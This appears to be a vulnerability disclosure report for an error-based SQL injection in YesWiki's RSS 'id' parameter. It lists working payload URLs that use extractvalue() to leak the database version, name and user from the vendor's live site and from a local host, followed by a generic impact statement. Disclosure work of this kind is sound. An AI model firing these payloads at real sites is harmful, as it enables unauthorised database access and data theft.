Proof of Concept

POC:
Vendor Domain 
Print version: https://yeswiki.net/?AccueiL/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+version())))--+-
Print Database: https://yeswiki.net/?AccueiL/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+database())))--+-
Print User: https://yeswiki.net/?AccueiL/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+user())))--+-

Local Hosted:
Print All: http://192.168.0.109:81/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,version(),database(),user()))))--+-

Find Attached Images for your reference:

LocalHost POC:

Vendor Domain POC:

Impact

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.